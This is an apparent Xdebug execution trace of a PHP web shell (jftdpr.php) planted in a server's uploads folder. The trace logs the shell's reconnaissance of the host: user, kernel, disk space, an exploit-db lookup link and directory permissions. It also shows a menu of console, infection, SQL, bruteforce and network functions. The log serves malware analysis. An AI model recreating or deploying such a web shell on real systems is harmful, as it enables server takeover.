5 36 0 0.006477 1041792 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 42 2 NULL 3
5 36 1 0.006491 1042024
5 36 R ''
5 37 0 0.006505 1041792 strpos 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 43 2 NULL '\n'
5 37 1 0.006519 1041864
5 37 R FALSE
5 38 0 0.006532 1041792 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 43 2 NULL 3
5 38 1 0.006546 1042024
5 38 R ''
5 39 0 0.006559 1041792 strpos 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 44 2 NULL '\n'
5 39 1 0.006572 1041864
5 39 R FALSE
5 40 0 0.006585 1041792 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 44 2 NULL 3
5 40 1 0.006598 1042024
5 40 R ''
5 41 0 0.006612 1046912 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 56 1 'localhost'
5 41 1 0.006625 1047008
5 41 R '421aa90e079fa326b6494f812ad13e79'
5 42 0 0.006640 1046912 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 57 1 'localhost'
5 42 1 0.006653 1047008
5 42 R '421aa90e079fa326b6494f812ad13e79'
5 43 0 0.006667 1046912 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 58 1 'localhost'
5 43 1 0.006680 1047008
5 43 R '421aa90e079fa326b6494f812ad13e79'
5 44 0 0.006694 1046912 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 59 1 'localhost'
5 44 1 0.006707 1047008
5 44 R '421aa90e079fa326b6494f812ad13e79'
5 45 0 0.006720 1046912 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 60 1 'localhost'
5 45 1 0.006733 1047008
5 45 R '421aa90e079fa326b6494f812ad13e79'
5 46 0 0.006747 1046912 addslashes 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 72 1 '/uploads/jftdpr.php'
5 46 1 0.006760 1046944
5 46 R '/uploads/jftdpr.php'
5 47 0 0.006781 1038832 diskfreespace 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 '/var/www/html/uploads/'
5 47 1 0.006799 1038864
5 47 R 197119021056
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $freeSpace = 197119021056
5 48 0 0.006826 1038832 disk_total_space 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 '/var/www/html/uploads/'
5 48 1 0.006841 1038864
5 48 R 232015802368
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $totalSpace = 232015802368
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $totalSpace = 232015802368
5 49 0 0.006877 1038832 php_uname 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'r'
5 49 1 0.006893 1038912
5 49 R '5.15.0-60-generic'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $release = '5.15.0-60-generic'
5 50 0 0.006919 1038880 php_uname 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 's'
5 50 1 0.006933 1038944
5 50 R 'Linux'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $kernel = 'Linux'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description='
5 51 0 0.006972 1038912 strpos 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 2 'Linux' 'Linux'
5 51 1 0.006985 1038984
5 51 R 0
5 52 0 0.006998 1038912 substr 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 3 '5.15.0-60-generic' 0 6
5 52 1 0.007012 1039040
5 52 R '5.15.0'
5 53 0 0.007025 1038960 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'Linux Kernel 5.15.0'
5 53 1 0.007040 1039040
5 53 R 'Linux+Kernel+5.15.0'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $explink .= 'Linux+Kernel+5.15.0'
5 54 0 0.007070 1039040 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'posix_getegid'
5 54 1 0.007085 1039080
5 54 R TRUE
5 55 0 0.007097 1039040 posix_geteuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 0
5 55 1 0.007111 1039040
5 55 R 33
5 56 0 0.007123 1039040 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 33
5 56 1 0.007154 1039872
5 56 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5 57 0 0.007197 1039840 posix_getegid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 0
5 57 1 0.007211 1039840
5 57 R 33
5 58 0 0.007223 1039840 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 33
5 58 1 0.007249 1040504
5 58 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $user = 'www-data'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $uid = 33
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $group = 'www-data'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $gid = 33
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links = ''
5 59 0 0.007339 1039120 explode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 2 '/' '/var/www/html/uploads/'
5 59 1 0.007355 1039728
5 59 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $n = 6
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '")\'>/</a>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'var/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '")\'>var/</a>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'var/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'www/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '")\'>www/</a>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'var/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'www/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'html/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '")\'>html/</a>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j = 0
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'var/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'www/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'html/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= 'uploads/'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $j++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $cwd_links .= '")\'>uploads/</a>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $i++
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets = ''
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $opt_charsets .= '<option value="cp866" >cp866</option>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network']
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $m['Self remove'] = 'SelfRemove'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu = ''
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Sec. Info'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Files'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Console'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Infect'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Infect</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Sql'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Php'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Php</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Safe mode'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Safe mode</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'String tools'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">String tools</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Bruteforce'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Bruteforce</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Network'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $k = 'Self remove'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $drives = ''
5 60 0 0.008348 1042016 php_uname 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 0
5 60 1 0.008370 1042128
5 60 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 61 0 0.008389 1042128 substr 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
5 61 1 0.008408 1042224
5 61 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 62 0 0.008426 1042144 php_uname 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 0
5 62 1 0.008440 1042256
5 62 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 63 0 0.008457 1042256 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 63 1 0.008474 1042416
5 63 R 'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
5 64 0 0.008494 1042464 phpversion 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 0
5 64 1 0.008507 1042528
5 64 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5 65 0 0.008523 1042720 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'Y-m-d H:i:s'
5 65 1 0.008582 1045072
5 65 R '2023-02-12 21:58:14'
5 66 0 0.008600 1044784 viewSize 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 232015802368
6 67 0 0.008615 1044784 sprintf 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 2 '%1.2f' 216.08155441284
6 67 1 0.008631 1045168
6 67 R '216.08'
5 66 1 0.008645 1044824
5 66 R '216.08 GB'
5 68 0 0.008658 1044784 viewSize 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 197119021056
6 69 0 0.008672 1044784 sprintf 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 2 '%1.2f' 183.58139419556
6 69 1 0.008687 1045168
6 69 R '183.58'
5 68 1 0.008700 1044824
5 68 R '183.58 GB'
5 70 0 0.008714 1044784 round 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 2 84.959308393723 2
5 70 1 0.008732 1044856
5 70 R 84.96
5 71 0 0.008748 1045168 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 '/var/www/html/uploads/'
6 72 0 0.008763 1045168 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/'
6 72 1 0.008782 1045208
6 72 R TRUE
6 73 0 0.008796 1045168 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/'
6 73 1 0.008812 1045208
6 73 R TRUE
6 74 0 0.008825 1045168 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/'
6 74 1 0.008841 1045232
6 74 R 16895
6 75 0 0.008854 1045192 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 16895
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = 'd'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
6 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
6 75 1 0.009004 1045232
6 75 R 'drwxrwxrwx'
5 71 1 0.009019 1045272
5 71 R '<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
5 76 0 0.009038 1045704 gethostbyname 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 'localhost'
5 76 1 0.009713 1045784
5 76 R '127.0.0.1'
4 31 1 0.009747 1040920
4 77 0 0.009758 1040920 hardScandir 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 150 1 '/var/www/html/uploads/'
5 78 0 0.009774 1040920 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 'scandir'
5 78 1 0.009789 1040960
5 78 R TRUE
5 79 0 0.009803 1040920 scandir 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/'
5 79 1 0.009835 1041544
5 79 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'jftdpr.php', 5 => 'prepend.php']
4 77 1 0.009858 1041512
4 77 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'jftdpr.php', 5 => 'prepend.php']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 150 $dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'jftdpr.php', 5 => 'prepend.php']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 150 $sort = [0 => 'name', 1 => 1]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $files = []
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $dirs = []
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $n = 6
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i = 0
4 80 0 0.009955 1041536 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.'
4 80 1 0.009973 1041560
4 80 R 0
4 81 0 0.009986 1041520 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 81 1 0.010012 1042320
4 81 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 82 0 0.010055 1042288 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.'
4 82 1 0.010069 1042328
4 82 R 0
4 83 0 0.010081 1042288 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 83 1 0.010104 1042944
4 83 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 84 0 0.010141 1043384 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
4 84 1 0.010157 1043440
4 84 R 1676257094
4 85 0 0.010178 1043352 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 85 1 0.010212 1043680
4 85 R '2023-02-12 21:58:14'
4 86 0 0.010227 1043656 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
5 87 0 0.010242 1043656 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.'
5 87 1 0.010259 1043696
5 87 R TRUE
5 88 0 0.010273 1043656 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.'
5 88 1 0.010288 1043696
5 88 R TRUE
5 89 0 0.010302 1043656 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/.'
5 89 1 0.010316 1043696
5 89 R 16895
5 90 0 0.010328 1043656 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 16895
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = 'd'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 90 1 0.010438 1043696
5 90 R 'drwxrwxrwx'
4 86 1 0.010453 1043736
4 86 R '<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4 91 0 0.010471 1043736 filesize 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
4 91 1 0.010485 1043776
4 91 R 4096
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 92 0 0.010523 1043736 is_file 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
4 92 1 0.010537 1043776
4 92 R FALSE
4 93 0 0.010551 1043736 is_link 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
4 93 1 0.010566 1043800
4 93 R FALSE
4 94 0 0.010580 1043760 is_dir 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/.'
4 94 1 0.010594 1043800
4 94 R TRUE
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $i++
4 95 0 0.010618 1043712 fileowner 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 95 1 0.010633 1043736
4 95 R 0
4 96 0 0.010646 1043696 posix_getpwuid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 96 1 0.010670 1044496
4 96 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 97 0 0.010712 1043728 filegroup 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 97 1 0.010726 1043768
4 97 R 0
4 98 0 0.010739 1043728 posix_getgrgid 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 0
4 98 1 0.010761 1044384
4 98 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 99 0 0.010798 1044248 filemtime 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
4 99 1 0.010814 1044312
4 99 R 1676257094
4 100 0 0.010828 1044216 date 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 'Y-m-d H:i:s' 1676257094
4 100 1 0.010860 1044544
4 100 R '2023-02-12 21:58:14'
4 101 0 0.010875 1044528 viewPermsColor 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '/var/www/html/uploads/..'
5 102 0 0.010893 1044528 is_readable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/..'
5 102 1 0.010910 1044568
5 102 R TRUE
5 103 0 0.010923 1044528 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/..'
5 103 1 0.010939 1044568
5 103 R TRUE
5 104 0 0.010952 1044528 fileperms 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 '/var/www/html/uploads/..'
5 104 1 0.010966 1044568
5 104 R 16895
5 105 0 0.010979 1044528 perms 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 16895
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i = 'd'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'r'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'w'
5 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $i .= 'x'
5 105 1 0.011087 1044568
5 105 R 'drwxrwxrwx'
